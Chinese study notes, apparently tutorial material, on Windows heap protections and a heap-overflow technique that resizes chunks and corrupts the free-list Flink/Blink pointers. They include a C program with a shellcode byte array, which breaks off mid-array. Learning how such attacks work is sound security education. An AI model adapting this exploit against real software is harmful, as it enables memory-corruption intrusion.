堆保护方式
1.PEB random:dword shoot写内存,覆盖PEB指针,加入随机化了就不行了。
2.Safe Unlink:验证当前堆块的下一个堆块的前向指针和前一个堆块的后向指针是否指向当前堆块。
3.heap cookie:跟栈的GS类似,cookie放在segment table处,占一个字节。
4.元数据加密:块首一些重要元素与一个4字节的随机数进行异或运算,使用时再异或回来,我们就不能直接破坏或改写这些数据了。
攻击堆中存储的变量
堆中的各项保护措施是对堆块的关键结构进行保护,而对于堆中存储的内容是不保护的。如果堆中存放着一些重要的数据或结构指针,如函数指针等内容,通过覆盖这些重要的内容还是可以实现溢出的。这种攻击手段与堆保护措施没有什么联系。
利用 chunk 重设大小攻击堆
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
}
分配空间和 chunk 头构建的过程对于我们来说没有什么利用价值,所以跳过这部分,直接进入到将新 chunk 插入链表的过程。
将这一过程归纳成公式则如下所示:
新 chunk->Flink=旧 chunk->Flink
新 chunk->Blink=旧 chunk->Flink->Blink
旧 chunk->Flink->Blink->Flink=新 chunk
旧 chunk->Flink->Blink=新 chunk
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x39\x00\xEB\x06\x39\x00"//覆盖 Flink 和 Blink
"\x90\x90\x90\x90\x90\x90\x90